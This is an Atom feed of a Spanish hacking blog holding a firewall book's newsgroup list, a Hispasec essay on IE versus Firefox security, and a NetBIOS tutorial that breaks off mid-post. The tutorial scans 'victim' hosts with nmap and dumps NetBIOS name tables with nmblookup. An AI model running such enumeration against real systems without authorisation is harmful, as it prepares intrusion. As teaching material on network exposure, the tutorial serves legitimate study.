<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-13066511</id><updated>2011-10-15T23:05:21.020-07:00</updated><title type='text'>seguridad informatica hacking</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>10</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-13066511.post-112794622866545085</id><published>2005-09-28T15:20:00.000-07:00</published><updated>2005-09-28T15:23:48.666-07:00</updated><title type='text'>Building Internet Firewalls</title><content type='html'>&lt;pre&gt;   #A. ResourcesA.3 Mailing ListsA.5 Response Teams and Other&lt;br /&gt;  Organizations&lt;br /&gt; &lt;br /&gt;Building Internet Firewalls&lt;br /&gt;&lt;br /&gt;  Previous: A.3 Mailing Lists Appendix A&lt;br /&gt;  Resources Next: A.5 Response Teams and Other Organizations&lt;br /&gt; &lt;br /&gt;  _________________________________________________________________&lt;br /&gt; &lt;br /&gt;A.4 Newsgroups&lt;br /&gt;&lt;br /&gt;  There are a variety of Usenet newsgroups that you might find an&lt;br /&gt;  interesting source of information on network security and related&lt;br /&gt;  topics:&lt;br /&gt;    * comp.security.announce - computer security announcements,&lt;br /&gt;      including new CERT-CC advisories&lt;br /&gt;    * comp.security.unix - UNIX security&lt;br /&gt;    * comp.security.misc - miscellaneous computer and network security&lt;br /&gt;    * comp.security.firewalls - proposed newsgroup on firewalls; might&lt;br /&gt;      never be created&lt;br /&gt;    * alt.security - alternative discussions of computer and network&lt;br /&gt;      security&lt;br /&gt;    * comp.admin.policy - computer administrative policy issues,&lt;br /&gt;      including security&lt;br /&gt;    * comp.protocols.tcp-ip - TCP/IP internals, including security&lt;br /&gt;    * comp.unix.admin - UNIX system administration, including security&lt;br /&gt;    * comp.unix.wizards - UNIX kernel internals, including security&lt;br /&gt;  _________________________________________________________________&lt;br /&gt; &lt;br /&gt;  Previous: A.3 Mailing Lists Building Internet Firewalls Next: A.5&lt;br /&gt;  Response Teams and Other Organizations&lt;br /&gt;  A.3 Mailing Lists Book Index A.5 Response Teams and Other&lt;br /&gt;  Organizations&lt;br /&gt;  _________________________________________________________________&lt;br /&gt; &lt;br /&gt;  [ Library Home | DNS &amp;amp; BIND | TCP/IP | sendmail | sendmail Reference |&lt;br /&gt;  Firewalls | Practical Security ]&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-112794622866545085?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/112794622866545085/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=112794622866545085' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/112794622866545085'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/112794622866545085'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/09/building-internet-firewalls.html' title='Building Internet Firewalls'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111670008003283829</id><published>2005-05-21T11:27:00.000-07:00</published><updated>2005-09-28T15:15:57.030-07:00</updated><title type='text'>IE o Firefox ?</title><content type='html'>En el caso de que busques alguna tecnica de &lt;a href="http://hax0rs.blogspot.com/"&gt;hax0rs &lt;/a&gt;para entender &lt;a href="http://howthestuffworks.blogspot.com/"&gt;como funcionan las cosas&lt;/a&gt;, te recomendamos que leas entonces los &lt;a href="http://webmastertips.blogspot.com/"&gt;tips para webmasters&lt;/a&gt; en donde aprenden a posicionar sitios web con &lt;a href="http://seowebnet.blogspot.com/"&gt;tecnicas SEO de ultima generacion&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Un estudio de Symantec ha suscitado de nuevo el debate sobre que&lt;br /&gt;navegador es más seguro. El titular que ha transcendido del informe&lt;br /&gt;es que Firefox ha tenido más vulnerabilidades que Internet Explorer&lt;br /&gt;en lo que ha transcurrido de año. Sin embargo, desde Hispasec podemos&lt;br /&gt;argumentar que a día de hoy es más seguro navegar con Firefox que&lt;br /&gt;con Internet Explorer.&lt;br /&gt;&lt;br /&gt;Este tipo de informes cuantitativos siempre se presta a debates&lt;br /&gt;donde cada parte implicada hace su propia lectura interesada.&lt;br /&gt;&lt;br /&gt;Vamos a intentar ver desde un punto de vista objetivo que dice el&lt;br /&gt;informe de Symantec, partiendo de que en el equipo de Hispasec se&lt;br /&gt;utiliza indistintamente ambos navegadores entre otros, conviven&lt;br /&gt;varias plataformas, sistemas operativos, y no mantenemos intereses&lt;br /&gt;con ningún desarrollador de software.&lt;br /&gt;&lt;br /&gt;Por un lado el informe de Symantec pone de relieve que durante el&lt;br /&gt;primer semestre de 2005 Mozilla ha reportado 25 vulnerabilidades&lt;br /&gt;en sus navegadores, mientras que Microsoft en ese mismo periodo ha&lt;br /&gt;confirmado 13 vulnerabilidades en Internet Explorer. Eso es un&lt;br /&gt;dato objetivo que en principio inclinaría la balanza claramente a&lt;br /&gt;favor de Internet Explorer.&lt;br /&gt;&lt;br /&gt;Si en vez de quedarse en ese dato se sigue leyendo el informe, en&lt;br /&gt;el mismo encontramos que de las 25 vulnerabilidades de Mozilla&lt;br /&gt;8 de ellas fueron consideradas de alto riesgo, el mismo número que&lt;br /&gt;en el caso de Internet Explorer, también 8 de alto riesgo. En este&lt;br /&gt;punto ambos quedarían en tablas.&lt;br /&gt;&lt;br /&gt;Un dato no cuantitativo del informe, pero no menos importante, revela&lt;br /&gt;que sólo se han detectado incidentes de explotación masiva de las&lt;br /&gt;vulnerabilidades reportadas en el caso de Internet Explorer, y no en&lt;br /&gt;ningún otro navegador. Aquí se refleja que la navegación con Firefox&lt;br /&gt;es más segura que con Internet Explorer.&lt;br /&gt;&lt;br /&gt;Llegados a este punto del informe de Symantec se puede concluir que&lt;br /&gt;en lo que va de año se han publicado oficialmente más vulnerabilidades&lt;br /&gt;de Firefox que de Internet Explorer. En cuanto a las vulnerabilidades&lt;br /&gt;de alto riesgo, ambos se encuentran emparejados. Mientras que a&lt;br /&gt;efectos prácticos, en el mundo real y no en un plano teórico, navegar&lt;br /&gt;con Internet Explorer resulta más peligroso ya que los ataques se&lt;br /&gt;siguen dirigiendo de forma mayoritaria al navegador de Microsoft.&lt;br /&gt;&lt;br /&gt;El que los atacantes decidan fijar su atención más en Internet&lt;br /&gt;Explorer que en Firefox poco tiene que ver con la facilidad de&lt;br /&gt;explotación en aplicaciones de código abierto o cerrado. De hecho,&lt;br /&gt;publicado un parche, sin haber transcendido detalles sobre como&lt;br /&gt;explotar la vulnerabilidad, siempre es más fácil desarrollar el&lt;br /&gt;exploit para una aplicación de la que se tiene acceso al código y que&lt;br /&gt;fomenta el full-disclosure, en vez de tener que recurrir a la&lt;br /&gt;ingeniería inversa como ocurre en casos de aplicaciones cerradas con&lt;br /&gt;políticas más restrictivas en la publicación de vulnerabilidades.&lt;br /&gt;&lt;br /&gt;Sin embargo éste no parece ser un handicap importante para los&lt;br /&gt;atacantes, y así lo demostrarían los tiempos de desarrollo y&lt;br /&gt;publicación de exploits en ambos casos. En el informe de Symantec,&lt;br /&gt;por ejemplo, se da como media que el tiempo entre que se publica&lt;br /&gt;una vulnerabilidad y desarrollan el exploit ha descendido a 6 días,&lt;br /&gt;mientras que sitúa la media en 54 días el tiempo que transcurre&lt;br /&gt;entre la aparición de una vulnerabilidad y la publicación del parche,&lt;br /&gt;lo que abre una ventana de 48 días donde los sistemas pueden ser&lt;br /&gt;vulnerables.&lt;br /&gt;&lt;br /&gt;¿Por qué los atacantes enfocan en el navegador de Microsoft?&lt;br /&gt;La respuesta es obvia, simplemente es el navegador que tiene mayor&lt;br /&gt;cuota de mercado con diferencia, y los atacantes siempre buscan el&lt;br /&gt;máximo rendimiento a sus fechorías. Si cambiaran las tornas y Firefox&lt;br /&gt;tuviera mayor cuota de mercado, tal y como está la seguridad de&lt;br /&gt;ambos navegadores, lo lógico es que el que sufriera más ataques&lt;br /&gt;fuera Firefox.&lt;br /&gt;&lt;br /&gt;En cuanto al revuelo suscitado con el informe de Symantec respecto&lt;br /&gt;a la seguridad de los navegadores, se trata de lecturas interesadas. &lt;br /&gt;Ya que el fin del mismo es ofrecer unas estadísticas globales, y en&lt;br /&gt;ningún caso se trata de una metodología pensada para una comparativa&lt;br /&gt;entre navegadores.&lt;br /&gt;&lt;br /&gt;De hecho existen otros indicadores, no recogidos en el informe de&lt;br /&gt;Symantec, que debieran tenerse en cuenta en una hipotética comparativa&lt;br /&gt;de seguridad entre Firefox e Internet Explorer. Por ejemplo, entre&lt;br /&gt;otros:&lt;br /&gt;&lt;br /&gt; - Tiempo de reacción en publicar los parches tras detectarse una&lt;br /&gt;vulnerabilidad.&lt;br /&gt;&lt;br /&gt; - Vulnerabilidades publicadas no corregidas.&lt;br /&gt;&lt;br /&gt; - Tecnologías aprovechadas por el malware.&lt;br /&gt;&lt;br /&gt;El tiempo de reacción es obvio que tiene una repercusión directa en&lt;br /&gt;la seguridad de los navegadores. Si atendemos por ejemplo al dato&lt;br /&gt;facilitado de media en el informe de Symantec, que sitúa en 6 días&lt;br /&gt;el desarrollo de exploits tras publicarse una vulnerabilidad, todo&lt;br /&gt;tiempo adicional que transcurra en la publicación del parche supone&lt;br /&gt;una ventaja para los atacantes en perjuicio de los usuarios. Por&lt;br /&gt;ello es muy importante que la política de parches del desarrollador&lt;br /&gt;sea diligente.&lt;br /&gt;&lt;br /&gt;En este apartado podemos referenciar a eEye, que mantiene un listado&lt;br /&gt;de vulnerabilidades no publicadas que han sido reportadas por su&lt;br /&gt;laboratorio a los fabricantes de software a la espera de un parche.&lt;br /&gt;En este listado podemos encontrar que Microsoft mantiene 10&lt;br /&gt;vulnerabilidades reportadas sin parchear.&lt;br /&gt;&lt;br /&gt;Por ejemplo, la primera de la lista es considerada crítica por&lt;br /&gt;permitir ejecutar código de forma remota, fue reportada a Microsoft&lt;br /&gt;el 29 de marzo de 2005, transcurriendo a día de hoy 121 días sin que&lt;br /&gt;aun haya publicado la correspondiente actualización para corregirla.&lt;br /&gt;&lt;br /&gt;Upcoming Advisories&lt;br /&gt;http://www.eeye.com/html/research/upcoming/index.html&lt;br /&gt;&lt;br /&gt;El segundo punto también es vital, ya que las vulnerabilidades no&lt;br /&gt;deben contabilizarse en función de los parches oficiales publicados&lt;br /&gt;(como lo hace el informe de Symantec), de lo contrario se podrían&lt;br /&gt;dar situaciones absurdas.&lt;br /&gt;&lt;br /&gt;Por ejemplo, en el hipotético caso de que yo fuera un desarrollador&lt;br /&gt;de software al que le han detectado 10 vulnerabilidades y hago caso&lt;br /&gt;omiso a los avisos, y no publico ningún parche, en el informe de&lt;br /&gt;Symantec aparecería con 0 vulnerabilidades.&lt;br /&gt;&lt;br /&gt;Al hilo de este indicador podemos ver algunos datos gracias a Secunia,&lt;br /&gt;según la cual Internet Explorer mantiene 19 vulnerabilidades sin&lt;br /&gt;corregir, frente a Firefox que tiene sólo 3. Ninguna de estas&lt;br /&gt;vulnerabilidades han sido tenidas en cuenta en el informe de Symantec.&lt;br /&gt;&lt;br /&gt;Vulnerabilidades en IE&lt;br /&gt;http://secunia.com/product/11/&lt;br /&gt;&lt;br /&gt;Vulnerabilidades en Mozilla Firefox&lt;br /&gt;http://secunia.com/product/4227/&lt;br /&gt;&lt;br /&gt;Por último también hay que hacer mención a ciertas tecnologías que,&lt;br /&gt;sin contar con vulnerabilidades específicas, son aprovechadas por los&lt;br /&gt;atacantes. Un ejemplo representativo lo podemos encontrar en la&lt;br /&gt;tecnología Active-X de Internet Explorer, muy utilizada en la&lt;br /&gt;instalación de dialers, troyanos, spyware y adware a través de la web.&lt;br /&gt;&lt;br /&gt;Dicho todo lo anterior, y aun partiendo de la base de que hoy día es&lt;br /&gt;más seguro navegar con Firefox porque los ataques van dirigidos&lt;br /&gt;mayoritariamente a usuarios de Windows e Internet Explorer de manera&lt;br /&gt;independiente a la seguridad intrínseca de cada navegador, el&lt;br /&gt;principal origen de incidentes es la falta de actualización.&lt;br /&gt;&lt;br /&gt;La mayoría de los exploits utilizados en la web para infectar los&lt;br /&gt;sistemas con malware están desarrollados para vulnerabilidades ya&lt;br /&gt;corregidas por los últimos parches de seguridad. En el caso de Internet&lt;br /&gt;Explorer, por ejemplo, existe un gran parque de usuarios que siguen&lt;br /&gt;utilizando una versión 5.X. También ocurre con Firefox, si bien el &lt;br /&gt;volumen es menos considerable porque su difusión es menor, y eso los&lt;br /&gt;atacantes lo tienen en cuenta.&lt;br /&gt;&lt;br /&gt;Tanto Mozilla como Microsoft, además de mejorar por diseño sus&lt;br /&gt;navegadores, respecto a los parches deberían acelerar su publicación,&lt;br /&gt;mejorar la calidad de los mismos, y especialmente facilitar mecanismos&lt;br /&gt;para su notificación automática e instalación. De poco sirve publicar&lt;br /&gt;parches si finalmente los usuarios no los aplican.&lt;br /&gt;&lt;br /&gt;Desde Hispasec podemos concluir que ambos navegadores están dedicando&lt;br /&gt;recursos y esfuerzos por mejorar su seguridad, y que esta competencia&lt;br /&gt;redunda en beneficio de los usuarios. La seguridad es un proceso, y el&lt;br /&gt;estado actual de las cosas no va a permanecer estático. No se debe&lt;br /&gt;hablar en términos absolutos de si un navegador es más seguro que&lt;br /&gt;otro, son muchos los factores, algunos externos al propio desarrollo&lt;br /&gt;del navegador, los que pueden ir inclinando la balanza a uno u otro&lt;br /&gt;lado a lo largo del tiempo.&lt;br /&gt;&lt;br /&gt;De manera independiente al navegador que decida utilizar, no en vano&lt;br /&gt;es una opción personal que depende de más factores que el de la&lt;br /&gt;seguridad, la recomendación de Hispasec es que preste especial&lt;br /&gt;atención a su actualización. Y que, en cualquier caso, debemos hacer&lt;br /&gt;esfuerzos en convertir el principal talón de Aquiles, que no es otro&lt;br /&gt;que el factor humano, en un aliado más de la seguridad. La tecnología&lt;br /&gt;más segura puede suponer un riesgo si no se utiliza de forma adecuada.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13066511-111670008003283829?l=hax0rs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hax0rs.blogspot.com/feeds/111670008003283829/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13066511&amp;postID=111670008003283829' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111670008003283829'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13066511/posts/default/111670008003283829'/><link rel='alternate' type='text/html' href='http://hax0rs.blogspot.com/2005/05/ie-o-firefox.html' title='IE o Firefox ?'/><author><name>KsiAnonimo</name><uri>http://www.blogger.com/profile/00509391750525459004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.cogitoalius.com.ar/avatarcogitoalius.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13066511.post-111666132553438985</id><published>2005-05-21T00:41:00.001-07:00</published><updated>2005-05-21T00:42:05.546-07:00</updated><title type='text'>NetBIOS: Jugando con Windows NT/2000</title><content type='html'>&lt;pre&gt;.--[ @_2500Hz - Underground Scene - ]-----(http://pagina.de/2500Hz)--.&lt;br /&gt;|                                                                    |&lt;br /&gt;| Titulo : NetBIOS: Jugando con Windows NT/2000                      |&lt;br /&gt;| Autor  : ZeRoXT (zeroxt@hotmail.com)                               |&lt;br /&gt;| Fecha  : 27/03/2000                                                |&lt;br /&gt;|                                                                    |&lt;br /&gt;`----------------------------------------------(2500hz@mixmail.com)--´&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;             NetBIOS: Jugando con Windows NT/2000&lt;br /&gt;             =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;br /&gt;                                        by ZeRoXT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Introduccion&lt;br /&gt;=-=-=-=-=-=-&lt;br /&gt;&lt;br /&gt;Hace ya años que microsoft nos sorprendio a todos con su Windows NT en&lt;br /&gt;un intento con hacerse con parte del mercado que hasta entonces&lt;br /&gt;estaba dominado por los sistemas UNIX, y aunque las primeras versiones&lt;br /&gt;no dieron mucho que hablar, todo cambio con la llegada de la version&lt;br /&gt;4.0 en la que un renovado interfaz estilo windows 9x y algunas mejoras&lt;br /&gt;hicieron que muchas empresas instalaran sus servidores bajo NT. Desde&lt;br /&gt;su aparicion hasta ahora NT se ha ido consolidando poco a poco dentro&lt;br /&gt;de las empresas, siendo lo mas normal ver como todas las empresas de&lt;br /&gt;hoy en dia tienen sus servidores bajo NT y kiza algun UNIX, pero muy&lt;br /&gt;raro de ver empresas que se centren solamente UNIX. Siendo lo normal&lt;br /&gt;una convivencia entre los dos sistemas.&lt;br /&gt;&lt;br /&gt;Despues de estos años Microsoft vuelve a la carga con Windows 2000 un&lt;br /&gt;producto con el que pretende seguir creciendo y ampliando su mercado&lt;br /&gt;hacia todas las empresas con sus tres versiones ( Profesional, Server,&lt;br /&gt;Advanced Server ). Mucho se ha hablado sobre la estabilidad y la poca&lt;br /&gt;seguridad de los sistemas que utilizan Windows NT/2000 y la seguridad&lt;br /&gt;que proporciona UNIX frente a Windows. La verdad es un tema que daria&lt;br /&gt;mucho de que hablar y que en mi opinion ninguno de los dos es claro&lt;br /&gt;vencedor, cada sistema tiene sus cosas y es mejor que el otro en&lt;br /&gt;determinadas tareas.&lt;br /&gt;&lt;br /&gt;El caso es que este articulo no va a ser una critica ni una opinion&lt;br /&gt;personal sobre Windows / Unix, asi que centremonos en el asunto que&lt;br /&gt;vamos a tratar .....&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;NetBIOS ( Network Basic Input/Output System )&lt;br /&gt;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;NetBIOS fue desarrollado por IBM y Systek como un intento de proveer a&lt;br /&gt;las apliaciones de una interfaz para acceder a los recursos de las&lt;br /&gt;redes locales. Al ser solo una interfaz entre las aplicaciones y la&lt;br /&gt;tarjeta de red, y por tanto poder ser utilizado con independencia del&lt;br /&gt;hardware, hizo que pronto se convirtiera en un estandar para acceder a&lt;br /&gt;redes ( ethernet, TokenRing, redes IBM, ... ).&lt;br /&gt;&lt;br /&gt;NetBIOS ha sido utilizado ampliamente para compartir recursos de una&lt;br /&gt;manera simple y eficiente en redes pequeñas. Proporcionando tanto&lt;br /&gt;servicios orientados a conexion ( sesiones ) como no orientados a&lt;br /&gt;conexion ( datagramas ), al igual que soporta broadcast y multicast.&lt;br /&gt;&lt;br /&gt;Posteriormente surgio NetBEUI que no es mas que una version extendida&lt;br /&gt;de NetBIOS que proporciono una capa de transporte que nunca fue&lt;br /&gt;estandarizada en NetBIOS.&lt;br /&gt;&lt;br /&gt;NetBIOS puede ser utilizado en la inmesa mayoria de los sistemas&lt;br /&gt;operativos de red y puede ser transportado sobre variedad de&lt;br /&gt;protocolos, generalmente sobre TCP/IP (NBT), IPX, ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nombres NetBIOS&lt;br /&gt;=-=-=-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;Son usados para identificar recursos en la red, las direcciones de&lt;br /&gt;bajo nivel no estan disponibles para las aplicaciones, sino que las&lt;br /&gt;equipos utilizan estos nombres para comnunicarse y establecer sesiones&lt;br /&gt;entre si. Estos nombres deben tener una longitud maxima de 16&lt;br /&gt;caracteres alfanumericos, siendo el primero distinto de *.&lt;br /&gt;&lt;br /&gt;Cada vez que un equipo se activa este comienza un proceso de registro,&lt;br /&gt;para ello emite varias veces un mensaje de broadcast en el que indica&lt;br /&gt;su nombre netbios. Si algun otro equipo de la red esta utilizando ese&lt;br /&gt;nombre, este a su vez manda mensajes de broadcasts para advertirlo.&lt;br /&gt;Por lo tanto el equipo que queria registrarse con un nombre ya en uso&lt;br /&gt;para y termina su intento de registro. Si por el contrario ningun otro&lt;br /&gt;equipo emite mensajes indicando que el nombre ya esta en uso, el&lt;br /&gt;cliente se registrara con exito.&lt;br /&gt;&lt;br /&gt;Hay dos tipos de nombres, unicos ( unique ) y de grupos ( group ), los&lt;br /&gt;nombre unicos son aquellos que son llevados individualmente por un&lt;br /&gt;equipo al mismo tiempo, es decir no deben repetirse en la red en caso&lt;br /&gt;contrario se producirian mensajes de error debido a conflictos de&lt;br /&gt;nombres. En los grupos todas las instancias de un mismo nombre son&lt;br /&gt;equivalentes y pueden repetirse a lo largo de la red.&lt;br /&gt;&lt;br /&gt;Microsoft en su implementacion limita el tamaño de los nombres a 15&lt;br /&gt;caracteres maximos, utilizando el ultimo byte como un sufijo para&lt;br /&gt;identificar el tipo de servicio. Cada nodo mantiene una tabla con&lt;br /&gt;informacion de los nombres que tiene en uso, esta tabla se puede&lt;br /&gt;obtener mediante la orden nbtstat. Acontinuacion una tabla de los&lt;br /&gt;sufijos utilazados por Windows NT.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nombre              Sufijo  Tipo     Servicio&lt;br /&gt;-------------------------------------------------------------------&lt;br /&gt;&lt;computername&gt;        00     U       Workstation Service&lt;br /&gt;&lt;computername&gt;        01     U       Messenger Service&lt;br /&gt;&lt;\\_MSBROWSE_&gt;        01     G       Master Browser&lt;br /&gt;&lt;computername&gt;        03     U       Messenger Service&lt;br /&gt;&lt;computername&gt;        06     U       RAS Server Service&lt;br /&gt;&lt;computername&gt;        1F     U       NetDDE Service&lt;br /&gt;&lt;computername&gt;        20     U       File Server Service&lt;br /&gt;&lt;computername&gt;        21     U       RAS Client Service&lt;br /&gt;&lt;computername&gt;        22     U       Exchange Interchange&lt;br /&gt;&lt;computername&gt;        23     U       Exchange Store&lt;br /&gt;&lt;computername&gt;        24     U       Exchange Directory&lt;br /&gt;&lt;computername&gt;        30     U       Modem Sharing Server Service&lt;br /&gt;&lt;computername&gt;        31     U       Modem Sharing Client Service&lt;br /&gt;&lt;computername&gt;        43     U       SMS Client Remote Control&lt;br /&gt;&lt;computername&gt;        44     U       SMS Admin Remote Control Tool&lt;br /&gt;&lt;computername&gt;        45     U       SMS Client Remote Chat&lt;br /&gt;&lt;computername&gt;        46     U       SMS Client Remote Transfer&lt;br /&gt;&lt;computername&gt;        4C     U       DEC Pathworks TCPIP Service&lt;br /&gt;&lt;computername&gt;        52     U       DEC Pathworks TCPIP Service&lt;br /&gt;&lt;computername&gt;        87     U       Exchange MTA&lt;br /&gt;&lt;computername&gt;        6A     U       Exchange IMC&lt;br /&gt;&lt;computername&gt;        BE     U       Network Monitor Agent&lt;br /&gt;&lt;computername&gt;        BF     U       Network Monitor Apps&lt;br /&gt;&lt;username&gt;            03     U       Messenger Service&lt;br /&gt;&lt;domain&gt;              00     G       Domain Name&lt;br /&gt;&lt;domain&gt;              1B     U       Domain Master Browser&lt;br /&gt;&lt;domain&gt;              1C     G       Domain Controllers&lt;br /&gt;&lt;domain&gt;              1D     U       Master Browser&lt;br /&gt;&lt;domain&gt;              1E     G       Browser Service Elections&lt;br /&gt;&lt;inet~services&gt;       1C     G       Internet Information Server&lt;br /&gt;&lt;is~computer_name&gt;    00     U       Internet Information Server&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jugando con los servidores&lt;br /&gt;=-=-==-=-==-=-==-=-=-=-=-=&lt;br /&gt;&lt;br /&gt;Ahora pasaremos a una parte mas practica, que seguro os gusta mas :)&lt;br /&gt;&lt;br /&gt;El objetivo es demostrar todo lo visto hasta ahora, es decir, obtener&lt;br /&gt;la tabla de nombres de los nodos, listas de usuarios, recursos&lt;br /&gt;compartidos y toda aquella informacion que podamos y nos pueda ser&lt;br /&gt;util.&lt;br /&gt;&lt;br /&gt;En primer lugar seleccionamos una serie de posibles victimas, que en&lt;br /&gt;nuestro caso obtenemos realizando un pequeño scaneo a una clase C&lt;br /&gt;( x.x.x.1/24 ) el resultado nos muestra que tenemos dos maquinas&lt;br /&gt;activas una ejecutandose bajo Windows NT 4.0 ( x.x.x.92 ) y otra bajo&lt;br /&gt;Windows 2000 RC1 ( x.x.x.96 ). Aun asi queremos mas informacion sobre&lt;br /&gt;los distintos servicios que corren y con ayuda de nmap realizamos un&lt;br /&gt;scaneao a ambas...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt; nmap -sS -O x.x.x.92&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure...&lt;br /&gt;Interesting ports on  (x.x.x.92):&lt;br /&gt;Port    State       Protocol  Service&lt;br /&gt;21      open        tcp       ftp&lt;br /&gt;25      open        tcp       smtp&lt;br /&gt;135     open        tcp       loc-srv&lt;br /&gt;139     open        tcp       netbios-ssn&lt;br /&gt;256     open        tcp       rap&lt;br /&gt;257     open        tcp       set&lt;br /&gt;258     open        tcp       yak-chat&lt;br /&gt;259     open        tcp       esro-gen&lt;br /&gt;261     open        tcp       nsiiops&lt;br /&gt;262     open        tcp       arcisdms&lt;br /&gt;1030    open        tcp       iad1&lt;br /&gt;1031    open        tcp       iad2&lt;br /&gt;1032    open        tcp       iad3&lt;br /&gt;&lt;br /&gt;TCP Sequence Prediction: Class=trivial time dependency&lt;br /&gt;                        Difficulty=8 (Trivial joke)&lt;br /&gt;Remote operating system guess: Windows NT4 / Win95 / Win98&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 34 sec&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt; nmap -sS -O x.x.x.96&lt;br /&gt;&lt;br /&gt;Starting nmap V. 2.3BETA5 by Fyodor (fyodor@dhp.com, www.insecure...&lt;br /&gt;Interesting ports on  (x.x.x.96):&lt;br /&gt;Port    State       Protocol  Service&lt;br /&gt;7       open        tcp       echo&lt;br /&gt;9       open        tcp       discard&lt;br /&gt;13      open        tcp       daytime&lt;br /&gt;17      open        tcp       qotd&lt;br /&gt;19      open        tcp       chargen&lt;br /&gt;21      open        tcp       ftp&lt;br /&gt;25      open        tcp       smtp&lt;br /&gt;42      open        tcp       nameserver&lt;br /&gt;53      open        tcp       domain&lt;br /&gt;80      open        tcp       http&lt;br /&gt;135     open        tcp       loc-srv&lt;br /&gt;139     open        tcp       netbios-ssn&lt;br /&gt;258     open        tcp       yak-chat&lt;br /&gt;261     open        tcp       nsiiops&lt;br /&gt;443     open        tcp       https&lt;br /&gt;445     open        tcp       microsoft-ds&lt;br /&gt;1025    open        tcp       listen&lt;br /&gt;3389    open        tcp       msrdp&lt;br /&gt;&lt;br /&gt;TCP Sequence Prediction: Class=random positive increments&lt;br /&gt;                        Difficulty=24300 (Worthy challenge)&lt;br /&gt;Remote operating system guess: Windows 2000 RC1&lt;br /&gt;&lt;br /&gt;Nmap run completed -- 1 IP address (1 host up) scanned in 56 sec&lt;br /&gt;zeroxt@candela:~/hack &gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para conseguir mas informacion obtenemos la Tabla de Nombre NetBios de&lt;br /&gt;las dos maquinas ...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;zeroxt@candela:~/hack &gt; nmblookup -A x.x.x.92&lt;br /&gt;Looking up status of x.x.x.92&lt;br /&gt;received 9 names&lt;br /&gt;       CARMEN          &lt;20&gt; -         B &lt;active&gt;&lt;br /&gt;       CARMEN          &lt;00&gt; -         B &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;1b&gt; -         B &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;1c&gt; - &lt;group&gt; B &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;00&gt; - &lt;group&gt; B &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;1e&gt; - &lt;group&gt; B &lt;active&gt;&lt;br /&gt;       CARMEN          &lt;03&gt; -         B &lt;active&gt;&lt;br /&gt;       DOMINIO3        &lt;1d&gt; -         B &lt;active&gt;&lt;br /&gt;       ..__MSBROWSE__. &lt;01&gt; - &lt;group&gt; B &lt;active&gt;&lt;br /&gt;num_good_sends=0 num_good_receives=0&lt;br 